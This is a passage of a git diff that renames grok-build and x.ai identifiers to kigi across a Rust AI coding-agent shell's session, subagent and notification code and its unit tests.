+    /// Whether the current client advertised `kigi/folderTrust.interactive` (it
     /// can render the interactive folder-trust prompt). Set on every
     /// `initialize()` (last-client-wins, like `code_nav_enabled`); gates the
     /// DORMANT agent→client trust round-trip in `new_session`/`load_session`.
@@ -606,14 +606,14 @@ pub struct MvpAgent {
     /// Unified sender for all subagent coordinator events.
     /// LEADER-SAFE(shared): channel is multi-producer, coordinator drains.
     subagent_event_tx: tokio::sync::mpsc::UnboundedSender<
-        kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+        kigi_tools::implementations::kigi::task::types::SubagentEvent,
     >,
     /// Receiver for subagent events. Taken once by `start_subagent_coordinator()`.
     /// `None` after the coordinator drain task has been spawned.
     subagent_event_rx: RefCell<
         Option<
             tokio::sync::mpsc::UnboundedReceiver<
-                kigi_tools::implementations::grok_build::task::types::SubagentEvent,
+                kigi_tools::implementations::kigi::task::types::SubagentEvent,
             >,
         >,
     >,
@@ -624,7 +624,7 @@ pub struct MvpAgent {
     /// Pushed by the `InjectNotification` handler when a turn is active and the
     /// notification has `Next` priority. Drained by the session turn loop
     /// (`inject_pending_monitor_events`) into a hidden synthetic user message.
-    monitor_event_buffer: kigi_tools::implementations::grok_build::task::types::MonitorEventBuffer,
+    monitor_event_buffer: kigi_tools::implementations::kigi::task::types::MonitorEventBuffer,
     /// Per-subagent model ID overrides from config.toml `[subagents.models]`.
     /// Populated from `SubagentsConfig.models` during `with_models()`.
     subagent_model_overrides: std::collections::HashMap<String, String>,
@@ -653,7 +653,7 @@ pub struct MvpAgent {
     /// `plugin_registry_handle`.
     ///
     /// Boot-time plugin discovery is deferred past ACP `initialize` (it walks
-    /// cwd→git root plus user/marketplace dirs and stalled grok-desktop's first
+    /// cwd→git root plus user/marketplace dirs and stalled kigi-desktop's first
     /// `initialize`), so the shared snapshot starts empty. It is built once on
     /// the first session-creating call via [`Self::ensure_plugin_registry`];
     /// this flag keeps that to a single discovery walk.
@@ -753,8 +753,8 @@ pub(crate) fn inherited_harness_template(
 ///
 /// When a zero-turn switch rebuilds the harness (`did_rebuild`), the handle
 /// must adopt the rebuilt harness's agent type. Otherwise the name is left
-/// unchanged — compatible stock switches (e.g. `grok-build` →
-/// `grok-build-plan`) intentionally preserve the session's original ACP
+/// unchanged — compatible stock switches (e.g. `kigi` →
+/// `kigi-plan`) intentionally preserve the session's original ACP
 /// `agentProfile`.
 pub(crate) fn agent_name_after_model_switch(
     did_rebuild: bool,
@@ -770,8 +770,8 @@ pub(crate) fn agent_name_after_model_switch(
 /// Harness compatibility for zero-turn / mid-turn model switching.
 ///
 /// Two stock (non-strict) agents are interchangeable — they share the
-/// default wire format and toolset, so switching e.g. `grok-build` →
-/// `grok-build-plan` doesn't require rebuilding the harness and would
+/// default wire format and toolset, so switching e.g. `kigi` →
+/// `kigi-plan` doesn't require rebuilding the harness and would
 /// destroy a client-supplied `_meta.agentProfile` if it did.
 ///
 /// Strict harnesses (`codex`, …) are only compatible with
@@ -927,7 +927,7 @@ fn resolve_inference_idle_timeout_secs(
     let remote = remote_settings.and_then(|s| s.inference_idle_timeout_secs);
     per_model.or(remote).unwrap_or(600).max(10)
 }
-/// Parse the client-advertised `x.ai/hunkTracker.mode` string. Case-insensitive
+/// Parse the client-advertised `kigi/hunkTracker.mode` string. Case-insensitive
 /// and trimmed. Absent/blank/`off`/`disabled` => `None`; unknown => `AllDirty`.
 fn resolve_hunk_tracking_mode(
     mode_str: Option<&str>,
@@ -1025,7 +1025,7 @@ impl MvpAgent {
     /// Dispatches by on-disk method name:
     /// - ACP updates (`"session/update"`) → typed `SessionNotification` for correct
     ///   TUI dispatch (direct dispatch preserves Rust types, not method strings).
-    /// - xAI updates (`"_x.ai/session/update"`) → `ExtNotification`.
+    /// - xAI updates (`"_kigi/session/update"`) → `ExtNotification`.
     ///
     /// When `mark_replay` is true, the notification is tagged with
     /// `_meta.isReplay: true` so the client knows it's historical data.
@@ -1058,7 +1058,7 @@ impl MvpAgent {
             tracing::debug!("replay: skipping JSONL line with no params");
             return;
         };
-        let is_xai = method == "_x.ai/session/update";
+        let is_xai = method == "_kigi/session/update";
         if is_xai {
             if target_client_id.is_none() && !mark_replay {
                 if let Ok(owned) = serde_json::value::RawValue::from_string(
@@ -1070,7 +1070,7 @@ impl MvpAgent {
                                 .gateway
                                 .forward_with_completion(
                                     acp::ExtNotification::new(
-                                        "x.ai/session/update",
+                                        "kigi/session/update",
                                         std::sync::Arc::from(owned),
                                     ),
                                 ),
@@ -1094,10 +1094,10 @@ impl MvpAgent {
                             m.insert("isReplay".to_string(), serde_json::json!(true));
                         }
                         if let Some(pd) = persist_data {
-                            m.insert("x.ai/persist".to_string(), pd.clone());
+                            m.insert("kigi/persist".to_string(), pd.clone());
                         }
                         if let Some(tid) = target_client_id {
-                            m.insert("x.ai/leaderClientId".to_string(), tid.clone());
+                            m.insert("kigi/leaderClientId".to_string(), tid.clone());
                         }
                     }
                 }
@@ -1108,7 +1108,7 @@ impl MvpAgent {
                                 .gateway
                                 .forward_with_completion(
                                     acp::ExtNotification::new(
-                                        "x.ai/session/update",
+                                        "kigi/session/update",
                                         std::sync::Arc::from(raw_val),
                                     ),
                                 ),
@@ -1161,7 +1161,7 @@ impl MvpAgent {
                 mark_as_replay(&mut notification.meta, persist_data);
             }
             if let Some(tid) = target_client_id {
-                stamp_meta_value(&mut notification.meta, "x.ai/leaderClientId", tid);
+                stamp_meta_value(&mut notification.meta, "kigi/leaderClientId", tid);
             }
             completions.push(self.gateway.forward_with_completion(notification));
         }
@@ -1425,7 +1425,7 @@ impl MvpAgent {
                             .gateway
                             .forward_with_completion(
                                 acp::ExtNotification::new(
-                                    "x.ai/task_completed",
+                                    "kigi/task_completed",
                                     params.into(),
                                 ),
                             ),
@@ -1507,7 +1507,7 @@ impl MvpAgent {
             });
         AuthenticateResponse::new().meta(meta)
     }
-    /// Fire-and-forget `x.ai/settings/update` from the current remote snapshot.
+    /// Fire-and-forget `kigi/settings/update` from the current remote snapshot.
     pub(super) fn emit_settings_update_notification(&self) {
         let payload = {
             let cfg = self.cfg.borrow();
@@ -1528,7 +1528,7 @@ impl MvpAgent {
         if let Ok(params) = serde_json::value::to_raw_value(&payload) {
             self.gateway
                 .forward_fire_and_forget(
-                    acp::ExtNotification::new("x.ai/settings/update", params.into()),
+                    acp::ExtNotification::new("kigi/settings/update", params.into()),
                 );
         }
     }
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/prompt_response_meta_tests.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/prompt_response_meta_tests.rs
index 7ff36dd..091ce97 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/prompt_response_meta_tests.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/prompt_response_meta_tests.rs
@@ -23,12 +23,12 @@ fn args<'a>(
 
 #[test]
 fn includes_baseline_keys_without_usage() {
-    let meta = build_prompt_response_meta(args("sess-1", "prompt-1", 42_000, "grok-4.5"));
+    let meta = build_prompt_response_meta(args("sess-1", "prompt-1", 42_000, "kigi-4.5"));
     assert_eq!(meta["sessionId"], "sess-1");
     assert_eq!(meta["requestId"], "prompt-1");
     assert_eq!(meta["promptId"], "prompt-1");
     assert_eq!(meta["totalTokens"], 42_000);
-    assert_eq!(meta["modelId"], "grok-4.5");
+    assert_eq!(meta["modelId"], "kigi-4.5");
     // No per-turn keys when usage is absent.
     assert!(meta.get("inputTokens").is_none());
     assert!(meta.get("outputTokens").is_none());
@@ -46,7 +46,7 @@ fn enriches_meta_with_camelcase_token_keys() {
     };
     let meta = build_prompt_response_meta(PromptResponseMetaArgs {
         last_turn_usage: Some(&usage),
-        ..args("sess-1", "prompt-1", 1_700, "grok-4.5")
+        ..args("sess-1", "prompt-1", 1_700, "kigi-4.5")
     });
     // Bot's _META_TOKEN_KEY_MAP expects exactly these camelCase keys.
     assert_eq!(meta["inputTokens"], 1500);
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/session_lifecycle.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/session_lifecycle.rs
index 36cc2fc..549aa06 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/session_lifecycle.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/session_lifecycle.rs
@@ -12,7 +12,7 @@ impl MvpAgent {
     /// Finalize the cloud session replica (fire-and-forget, "Hook 4").
     ///
     /// Marks the session **done** upstream, so this MUST only run on a genuine
-    /// session end — a terminal/explicit close (`x.ai/session/close`). It must
+    /// session end — a terminal/explicit close (`kigi/session/close`). It must
     /// NOT run on a mere client disconnect or a dead-actor reap: those leave the
     /// conversation resumable on disk, and finalizing would wrongly mark a still
     /// running/resumable session "done".
@@ -58,7 +58,7 @@ impl MvpAgent {
             .clone()
     }
     /// Close a session in response to an **explicit** terminal close
-    /// (`x.ai/session/close`). Finalizes the cloud replica (genuine session
+    /// (`kigi/session/close`). Finalizes the cloud replica (genuine session
     /// end), then removes the session terminally as `Completed`.
     pub(crate) fn close_session_explicit(&self, id: &acp::SessionId) {
         self.finalize_session_replica(id);
@@ -76,7 +76,7 @@ impl MvpAgent {
         self.session_live_state.borrow().get(id).copied()
     }
     /// Roster-delta hook for a terminally removed session. Broadcasts an
-    /// `x.ai/sessions/changed` notification with the session in `removed` so
+    /// `kigi/sessions/changed` notification with the session in `removed` so
     /// every attached dashboard drops the row promptly. Also
     /// records the call site (and the terminal state) for test observability,
     /// since the `session_live_state` entry is dropped on removal.
@@ -91,14 +91,14 @@ impl MvpAgent {
         self.emit_roster_changed(Vec::new(), vec![id.0.to_string()]);
     }
     /// Roster-delta hook for a newly-resident / changed session. Broadcasts an
-    /// `x.ai/sessions/changed` notification with the current entry in
+    /// `kigi/sessions/changed` notification with the current entry in
     /// `upserted` so dashboards add/refresh the row.
     pub(crate) fn push_roster_delta_upserted(&self, id: &acp::SessionId) {
         if let Some(entry) = self.resident_roster_entry(id) {
             self.emit_roster_changed(vec![entry], Vec::new());
         }
     }
-    /// Emit an `x.ai/sessions/changed` upsert for a resident session with an
+    /// Emit an `kigi/sessions/changed` upsert for a resident session with an
     /// explicit `activity`, so every attached dashboard reflects a
     /// turn-boundary transition (Working / Idle / NeedsInput) *immediately*
     /// rather than waiting for the ≤1s roster poll (deltas are emitted
@@ -124,11 +124,11 @@ impl MvpAgent {
             self.emit_roster_changed(vec![entry], Vec::new());
         }
     }
-    /// Fan an `x.ai/sessions/changed` delta out to every attached client.
+    /// Fan an `kigi/sessions/changed` delta out to every attached client.
     ///
     /// This is a roster-wide notification (no `sessionId`), so the leader IPC
     /// server broadcasts it to all clients rather than routing by session (see
-    /// the `x.ai/sessions/changed` special-case in `leader/server.rs`).
+    /// the `kigi/sessions/changed` special-case in `leader/server.rs`).
     pub(super) fn emit_roster_changed(
         &self,
         upserted: Vec<crate::agent::roster::RosterEntry>,
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/subagent_coordinator.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/subagent_coordinator.rs
index 79e93a2..cc0e708 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/subagent_coordinator.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/subagent_coordinator.rs
@@ -16,7 +16,7 @@ impl MvpAgent {
         };
         let agent_ref = LocalRef::new(self);
         use crate::agent::subagent::{BlockWaitSlot, is_running, resolve_snapshot};
-        use kigi_tools::implementations::grok_build::task::types::{
+        use kigi_tools::implementations::kigi::task::types::{
             SubagentCancelOutcome, SubagentCancelTarget, SubagentEvent,
         };
         tokio::task::spawn_local({
@@ -208,7 +208,7 @@ impl MvpAgent {
                         SubagentEvent::DescribeType(request) => {
                             let agent_ref = agent_ref.clone();
                             tokio::task::spawn_local(async move {
-                                use kigi_tools::implementations::grok_build::task::types::SubagentDescribeOutcome;
+                                use kigi_tools::implementations::kigi::task::types::SubagentDescribeOutcome;
                                 let this = agent_ref.get();
                                 let outcome = match this
                                     .try_build_subagent_spawn_context(&request.parent_session_id)
diff --git a/crates/codegen/kigi-shell/src/agent/mvp_agent/tests.rs b/crates/codegen/kigi-shell/src/agent/mvp_agent/tests.rs
index 8295293..78d0a6f 100644
--- a/crates/codegen/kigi-shell/src/agent/mvp_agent/tests.rs
+++ b/crates/codegen/kigi-shell/src/agent/mvp_agent/tests.rs
@@ -224,7 +224,7 @@ fn allocate_turn_number_advances_counter() {
 /// With no overrides and model_agent_type = None, the default agent is used.
 #[test]
 #[serial_test::serial]
-fn resolve_agent_definition_defaults_to_grok_build() {
+fn resolve_agent_definition_defaults_to_kigi() {
     let prev = std::env::var("KIGI_AGENT").ok();
     unsafe {
         std::env::remove_var("KIGI_AGENT");
@@ -243,7 +243,7 @@ fn resolve_agent_definition_defaults_to_grok_build() {
     }
 }
 /// When model_agent_type = Some("codex"), the codex agent is selected even
-/// though the default chain would return grok-build.
+/// though the default chain would return kigi.
 #[test]
 #[serial_test::serial]
 fn resolve_agent_definition_model_agent_type_overrides_default() {
@@ -320,13 +320,13 @@ fn resolve_agent_definition_acp_profile_wins_when_model_agent_type_is_default()
     }
 }
 /// Regression: after `DEFAULT_AGENT_TYPE` flipped to
-/// `grok-build-plan`, models in the catalog that still declare
-/// `agent_type = "grok-build"` explicitly must NOT preempt an ACP
-/// profile. Any value in the `grok-build*` family is the stock harness
+/// `kigi-plan`, models in the catalog that still declare
+/// `agent_type = "kigi"` explicitly must NOT preempt an ACP
+/// profile. Any value in the `kigi*` family is the stock harness
 /// with no strict requirement.
 #[test]
 #[serial_test::serial]
-fn resolve_agent_definition_acp_profile_wins_for_explicit_grok_build_family() {
+fn resolve_agent_definition_acp_profile_wins_for_explicit_kigi_family() {
     let prev = std::env::var("KIGI_AGENT").ok();
     unsafe {
         std::env::remove_var("KIGI_AGENT");
@@ -337,7 +337,7 @@ fn resolve_agent_definition_acp_profile_wins_for_explicit_grok_build_family() {
         "Custom devbox profile", }
     ))
     .expect("agent definition must parse");
-    for family_variant in ["grok-build", "grok-build-plan", "grok-build-concise"] {
+    for family_variant in ["kigi", "kigi-plan", "kigi-concise"] {
         let def = MvpAgent::resolve_agent_definition(
             tmp.path(),
             None,
@@ -347,7 +347,7 @@ fn resolve_agent_definition_acp_profile_wins_for_explicit_grok_build_family() {
         );
         assert_eq!(
             def.name, "custom-devbox-profile",
-            "ACP profile must win for grok-build family variant `{family_variant}`"
+            "ACP profile must win for kigi family variant `{family_variant}`"
         );
     }
     if let Some(v) = prev {
@@ -543,62 +543,62 @@ fn enqueue_replace_system_prompt_override_noop_when_absent_or_empty() {
     );
 }
 /// Regression for the web-client `_meta.agentProfile` -> `set_session_model`
-/// flow: a zero-turn switch from `grok-build` (a client profile name) to
-/// `grok-build-plan` (the default model agent_type) must be
+/// flow: a zero-turn switch from `kigi` (a client profile name) to
+/// `kigi-plan` (the default model agent_type) must be
 /// treated as compatible so the harness rebuild is skipped and the
 /// custom prompt body is preserved.
 #[test]
 fn harnesses_are_compatible_for_stock_family_pairs() {
-    assert!(harnesses_are_compatible("grok-build", "grok-build-plan"));
-    assert!(harnesses_are_compatible("grok-build-plan", "grok-build"));
-    assert!(harnesses_are_compatible("grok-build", "grok-build"));
+    assert!(harnesses_are_compatible("kigi", "kigi-plan"));
+    assert!(harnesses_are_compatible("kigi-plan", "kigi"));
+    assert!(harnesses_are_compatible("kigi", "kigi"));
     assert!(harnesses_are_compatible(
-        "grok-build-concise",
-        "grok-build-plan"
+        "kigi-concise",
+        "kigi-plan"
     ));
     assert!(harnesses_are_compatible(
         "remote-sidebar",
-        "grok-build-plan"
+        "kigi-plan"
     ));
 }
 #[test]
 fn harnesses_are_compatible_rejects_strict_mismatches() {
     assert!(harnesses_are_compatible("codex", "codex"));
-    assert!(!harnesses_are_compatible("grok-build-plan", "codex"));
+    assert!(!harnesses_are_compatible("kigi-plan", "codex"));
 }
 #[test]
 fn explicit_agent_type_wins_over_session_default() {
     assert_eq!(
-        resolve_required_agent_type(Some("cursor"), "grok-build-plan"),
+        resolve_required_agent_type(Some("cursor"), "kigi-plan"),
         "cursor"
     );
 }
 #[test]
-fn null_agent_type_falls_back_to_session_default_grok_build_plan() {
+fn null_agent_type_falls_back_to_session_default_kigi_plan() {
     assert_eq!(
-        resolve_required_agent_type(None, "grok-build-plan"),
-        "grok-build-plan"
+        resolve_required_agent_type(None, "kigi-plan"),
+        "kigi-plan"
     );
 }
 #[test]
-fn null_agent_type_falls_back_to_session_default_grok_build() {
+fn null_agent_type_falls_back_to_session_default_kigi() {
     assert_eq!(
-        resolve_required_agent_type(None, "grok-build"),
-        "grok-build"
+        resolve_required_agent_type(None, "kigi"),
+        "kigi"
     );
 }
 #[test]
 fn null_agent_type_returns_to_session_default_after_cursor_switch() {
-    let session_default = "grok-build-plan";
+    let session_default = "kigi-plan";
     let required_after_null = resolve_required_agent_type(None, session_default);
-    assert_eq!(required_after_null, "grok-build-plan");
+    assert_eq!(required_after_null, "kigi-plan");
     assert_ne!(required_after_null, "cursor");
 }
 /// Compatible stock switches (no rebuild) must NOT mutate `agent_name`,
 /// preserving the session's original ACP `agentProfile`.
 #[test]
 fn agent_name_unchanged_without_harness_rebuild() {
-    let unchanged = agent_name_after_model_switch(false, "grok-build-plan", "remote-sidebar");
+    let unchanged = agent_name_after_model_switch(false, "kigi-plan", "remote-sidebar");
     assert_eq!(
         unchanged, "remote-sidebar",
         "a compatible stock switch must preserve the original agent profile name"
@@ -648,7 +648,7 @@ async fn file_toolset_override_e2e_to_finalized_toolset() {
         web_search_config: kigi_tools::implementations::web_search::WebSearchConfig::default(),
         web_fetch_config: Default::default(),
         lsp: None,
-        app_builder_deployer_config: kigi_tools::implementations::grok_build::deploy_app::AppBuilderDeployerConfig::default(),
+        app_builder_deployer_config: kigi_tools::implementations::kigi::deploy_app::AppBuilderDeployerConfig::default(),
         api_key_provider: None,
         attribution_callback: None,
         system_reminder_tag: kigi_tools::reminders::DEFAULT_REMINDER_TAG,
@@ -741,7 +741,7 @@ fn make_test_handle(
         force_compact: std::sync::Arc::new(std::sync::atomic::AtomicBool::new(false)),
         permission_handle: kigi_workspace::permission::PermissionHandle::allow_all(),
         attribution_callback: None,
-        agent_name: "grok-build".to_string(),
+        agent_name: "kigi".to_string(),
         session_default_agent_profile: None,
         allowed_subagent_types: None,
         hook_registry: None,
@@ -758,7 +758,7 @@ async fn lookup_session_model_returns_per_session_model() {
     let sid_b = acp::SessionId::new("sess-b");
     let default_model = acp::ModelId::new("default-model");
     let sessions: HashMap<acp::SessionId, crate::session::SessionHandle> = [
-        (sid_a.clone(), make_test_handle("grok-3-fast", false, None)),
+        (sid_a.clone(), make_test_handle("kigi-3-fast", false, None)),
         (sid_b.clone(), make_test_handle("codex-mini", false, None)),
     ]
     .into();
@@ -766,7 +766,7 @@ async fn lookup_session_model_returns_per_session_model() {
         lookup_session_model(&sessions, Some(&sid_a), &default_model)
             .0
             .as_ref(),
-        "grok-3-fast"
+        "kigi-3-fast"
     );
     assert_eq!(
         lookup_session_model(&sessions, Some(&sid_b), &default_model)
@@ -778,13 +778,13 @@ async fn lookup_session_model_returns_per_session_model() {
 /// lookup_session_model falls back to the default when session_id is None.
 #[tokio::test]
 async fn lookup_session_model_fallback_no_session() {
-    let default_model = acp::ModelId::new("grok-3");
+    let default_model = acp::ModelId::new("kigi-3");
     let sessions: HashMap<acp::SessionId, crate::session::SessionHandle> = HashMap::new();
     assert_eq!(
         lookup_session_model(&sessions, None, &default_model)
             .0
             .as_ref(),
-        "grok-3"
+        "kigi-3"
     );
 }
 /// Mutating session A's model_id via the handle does not affect session B.
@@ -794,8 +794,8 @@ async fn set_session_model_does_not_cross_contaminate() {
     let sid_b = acp::SessionId::new("sess-b");
     let default_model = acp::ModelId::new("default");
     let mut sessions: HashMap<acp::SessionId, crate::session::SessionHandle> = [
-        (sid_a.clone(), make_test_handle("grok-3", false, None)),
-        (sid_b.clone(), make_test_handle("grok-3", false, None)),
+        (sid_a.clone(), make_test_handle("kigi-3", false, None)),
+        (sid_b.clone(), make_test_handle("kigi-3", false, None)),
     ]
     .into();
     sessions.get_mut(&sid_a).unwrap().model_id = acp::ModelId::new("codex-mini");
@@ -809,7 +809,7 @@ async fn set_session_model_does_not_cross_contaminate() {
         lookup_session_model(&sessions, Some(&sid_b), &default_model)
             .0
             .as_ref(),
-        "grok-3",
+        "kigi-3",
         "Session B's model must not be affected by session A's model change"
     );
 }
@@ -903,15 +903,15 @@ async fn yolo_toggle_scoped_by_client_identifier() {
     let mut sessions: HashMap<acp::SessionId, crate::session::SessionHandle> = [
         (
             sid_tui.clone(),
-            make_test_handle("grok-3", false, Some("grok-tui")),
+            make_test_handle("kigi-3", false, Some("kigi-tui")),
         ),
         (
             sid_vscode.clone(),
-            make_test_handle("grok-3", false, Some("grok-code-extension")),
+            make_test_handle("kigi-3", false, Some("kigi-code-extension")),
         ),
     ]
     .into();
-    let updated = apply_yolo_mode_to_matching_sessions(&mut sessions, Some("grok-tui"), true);
+    let updated = apply_yolo_mode_to_matching_sessions(&mut sessions, Some("kigi-tui"), true);
     assert_eq!(updated, 1, "exactly one matching session should be updated");
     assert!(
         sessions[&sid_tui].yolo_mode,
@@ -931,15 +931,15 @@ async fn yolo_toggle_can_disable_session_started_with_yolo_enabled() {
     let mut sessions: HashMap<acp::SessionId, crate::session::SessionHandle> = [
         (
             sid_tui.clone(),
-            make_test_handle("grok-3", true, Some("grok-tui")),
+            make_test_handle("kigi-3", true, Some("kigi-tui")),
         ),
         (
             sid_other.clone(),
-            make_test_handle("grok-3", true, Some("grok-code-extension")),
+            make_test_handle("kigi-3", true, Some("kigi-code-extension")),
         ),
     ]
     .into();
-    let updated = apply_yolo_mode_to_matching_sessions(&mut sessions, Some("grok-tui"), false);
+    let updated = apply_yolo_mode_to_matching_sessions(&mut sessions, Some("kigi-tui"), false);
     assert_eq!(updated, 1, "only the sender's session should be updated");
     assert!(
         !sessions[&sid_tui].yolo_mode,
@@ -1030,7 +1030,7 @@ async fn drain_respects_deadline() {
 fn parse_code_nav_capability_present_and_true() {
     let mut meta = serde_json::Map::new();
     meta.insert(
-        "x.ai/codeNavigation".to_string(),
+        "kigi/codeNavigation".to_string(),
         serde_json::json!({ "enabled" : true }),
     );
     let init = acp::InitializeRequest::new(acp::ProtocolVersion::V1).client_capabilities(
@@ -1054,7 +1054,7 @@ fn parse_code_nav_capability_absent_returns_false() {
 fn parse_code_nav_capability_false_returns_false() {
     let mut meta = serde_json::Map::new();
     meta.insert(
-        "x.ai/codeNavigation".to_string(),
+        "kigi/codeNavigation".to_string(),
         serde_json::json!({ "enabled" : false }),
     );
     let init = acp::InitializeRequest::new(acp::ProtocolVersion::V1).client_capabilities(
@@ -1074,18 +1074,18 @@ fn parse_code_nav_capability_false_returns_false() {
 #[tokio::test]
 async fn test_per_session_code_nav_isolation() {
     let web_handle = {
-        let mut h = make_test_handle("model", false, Some("grok-web"));
+        let mut h = make_test_handle("model", false, Some("kigi-web"));
         h.code_nav_enabled = true;
         h
     };
     let tui_handle = {
-        let mut h = make_test_handle("model", false, Some("grok-tui"));
+        let mut h = make_test_handle("model", false, Some("kigi-tui"));
         h.code_nav_enabled = false;
         h
     };
     let check = |handle: &crate::session::SessionHandle| {
         let ct = crate::http::client_type_from_origin(handle.origin_client.as_ref());
-        if !matches!(ct, ClientType::GrokWeb) {
+        if !matches!(ct, ClientType::KigiWeb) {
             return Err(CodeNavEligibility::ClientNotWeb);
         }
         if !handle.code_nav_enabled {
@@ -1322,7 +1322,7 @@ async fn resident_activity_reports_needs_input_when_pending() {
     use crate::agent::roster::RosterActivity;
     let agent = build_minimal_agent_for_tests();
     let sid = acp::SessionId::new("sess-pending");
-    let handle = make_test_handle("grok-3", false, None);
+    let handle = make_test_handle("kigi-3", false, None);
     let pending = handle.pending_interactions.clone();
     let prompt_id = handle.current_prompt_id.clone();
     agent.sessions.borrow_mut().insert(sid.clone(), handle);
@@ -1339,7 +1339,7 @@ async fn resident_activity_reports_needs_input_when_pending() {
     pending.lock().unwrap().clear();
     assert_eq!(agent.resident_activity(&sid), RosterActivity::Working);
 }
-/// Drain the agent gateway, returning the first `x.ai/sessions/changed`
+/// Drain the agent gateway, returning the first `kigi/sessions/changed`
 /// payload that carries an upserted entry (ignoring any unrelated
 /// notifications, which parse into an empty `RosterChanged`).
 fn drain_roster_changed(
@@ -1362,7 +1362,7 @@ fn drain_roster_changed(
     found
 }
 /// A turn-boundary activity delta (`push_roster_activity_delta`) broadcasts
-/// an `x.ai/sessions/changed` upsert carrying the *overridden* activity, so
+/// an `kigi/sessions/changed` upsert carrying the *overridden* activity, so
 /// every attached dashboard reflects Working/Idle immediately instead of
 /// waiting for the ≤1s roster poll (turn-start/turn-end). The
 /// override matters because at turn-start the actor has not yet published
@@ -1384,7 +1384,7 @@ async fn push_roster_activity_delta_broadcasts_overridden_activity() {
     agent
         .sessions
         .borrow_mut()
-        .insert(sid.clone(), make_test_handle("grok-3", false, None));
+        .insert(sid.clone(), make_test_handle("kigi-3", false, None));
     agent.push_roster_activity_delta(&sid, RosterActivity::Working);
     let changed = drain_roster_changed(&mut rx).expect("turn-start delta emitted");
     assert_eq!(changed.upserted.len(), 1);
@@ -1427,7 +1427,7 @@ fn check_nav_eligibility_from_sessions(
         return Err(CodeNavEligibility::SessionRequired);
     };
     let ct = crate::http::client_type_from_origin(handle.origin_client.as_ref());
-    if !matches!(ct, ClientType::GrokWeb) {
+    if !matches!(ct, ClientType::KigiWeb) {
         return Err(CodeNavEligibility::ClientNotWeb);
     }
     if !handle.code_nav_enabled {
@@ -1442,7 +1442,7 @@ fn check_nav_eligibility_from_sessions(
 #[tokio::test]
 async fn test_web_session_with_capability_is_eligible() {
     let sid = acp::SessionId::new("sess-web");
-    let mut handle = make_test_handle("model", false, Some("grok-web"));
+    let mut handle = make_test_handle("model", false, Some("kigi-web"));
     handle.code_nav_enabled = true;
     let sessions = [(sid.clone(), handle)].into();
     assert!(
@@ -1454,7 +1454,7 @@ async fn test_web_session_with_capability_is_eligible() {
 #[tokio::test]
 async fn test_tui_session_is_rejected() {
     let sid = acp::SessionId::new("sess-tui");
-    let mut handle = make_test_handle("model", false, Some("grok-tui"));
+    let mut handle = make_test_handle("model", false, Some("kigi-tui"));
     handle.code_nav_enabled = true;
     let sessions = [(sid.clone(), handle)].into();
     assert_eq!(
@@ -1467,7 +1467,7 @@ async fn test_tui_session_is_rejected() {
 #[tokio::test]
 async fn test_web_session_without_capability_is_rejected() {
     let sid = acp::SessionId::new("sess-web-no-cap");
-    let mut handle = make_test_handle("model", false, Some("grok-web"));
+    let mut handle = make_test_handle("model", false, Some("kigi-web"));
     handle.code_nav_enabled = false;
     let sessions = [(sid.clone(), handle)].into();
     assert_eq!(
@@ -1482,9 +1482,9 @@ async fn test_web_session_without_capability_is_rejected() {
 async fn test_leader_mode_two_sessions_stay_isolated() {
     let web_sid = acp::SessionId::new("web");
     let tui_sid = acp::SessionId::new("tui");
-    let mut web_handle = make_test_handle("model", false, Some("grok-web"));
+    let mut web_handle = make_test_handle("model", false, Some("kigi-web"));
     web_handle.code_nav_enabled = true;
-    let mut tui_handle = make_test_handle("model", false, Some("grok-tui"));
+    let mut tui_handle = make_test_handle("model", false, Some("kigi-tui"));
     tui_handle.code_nav_enabled = false;
     let sessions = [(web_sid.clone(), web_handle), (tui_sid.clone(), tui_handle)].into();
     assert!(
@@ -1505,7 +1505,7 @@ async fn test_leader_mode_two_sessions_stay_isolated() {
 #[tokio::test]
 async fn test_unknown_session_id_returns_session_required() {
     let known_sid = acp::SessionId::new("known");
-    let mut known_handle = make_test_handle("model", false, Some("grok-web"));
+    let mut known_handle = make_test_handle("model", false, Some("kigi-web"));
     known_handle.code_nav_enabled = true;
     let sessions = [(known_sid.clone(), known_handle)].into();
     let stale_sid = acp::SessionId::new("stale-or-evicted");
@@ -1567,7 +1567,7 @@ mod eligibility_gates {
         code_nav_enabled: bool,
         indexing_enabled: bool,
     ) -> Result<(), CodeNavEligibility> {
-        if !matches!(client_type, ClientType::GrokWeb) {
+        if !matches!(client_type, ClientType::KigiWeb) {
             return Err(CodeNavEligibility::ClientNotWeb);
         }
         if !code_nav_enabled {
@@ -1588,27 +1588,27 @@ mod eligibility_gates {
     #[test]
     fn tui_client_rejected() {
         assert_eq!(
-            check_gates(ClientType::GrokTUI, true, true),
+            check_gates(ClientType::KigiTUI, true, true),
             Err(CodeNavEligibility::ClientNotWeb)
         );
     }
     #[test]
     fn web_client_no_capability_rejected() {
         assert_eq!(
-            check_gates(ClientType::GrokWeb, false, true),
+            check_gates(ClientType::KigiWeb, false, true),
             Err(CodeNavEligibility::CapabilityNotAdvertised)
         );
     }
     #[test]
     fn web_client_with_capability_config_disabled_rejected() {
         assert_eq!(
-            check_gates(ClientType::GrokWeb, true, false),
+            check_gates(ClientType::KigiWeb, true, false),
             Err(CodeNavEligibility::DisabledByConfig)
         );
     }
     #[test]
     fn web_client_with_capability_and_config_passes_first_three_gates() {
-        assert!(check_gates(ClientType::GrokWeb, true, true).is_ok());
+        assert!(check_gates(ClientType::KigiWeb, true, true).is_ok());
     }
 }
 #[test]
@@ -1672,12 +1672,12 @@ fn write_updates(dir: &std::path::Path, lines: &[&str]) -> PathBuf {
 }
 fn bg_line(task_id: &str) -> String {
     format!(
-        r#"{{"timestamp":1,"method":"_x.ai/session/update","params":{{"sessionId":"s","update":{{"sessionUpdate":"task_backgrounded","task_id":"{task_id}","command":"sleep 99","cwd":"/tmp"}}}}}}"#
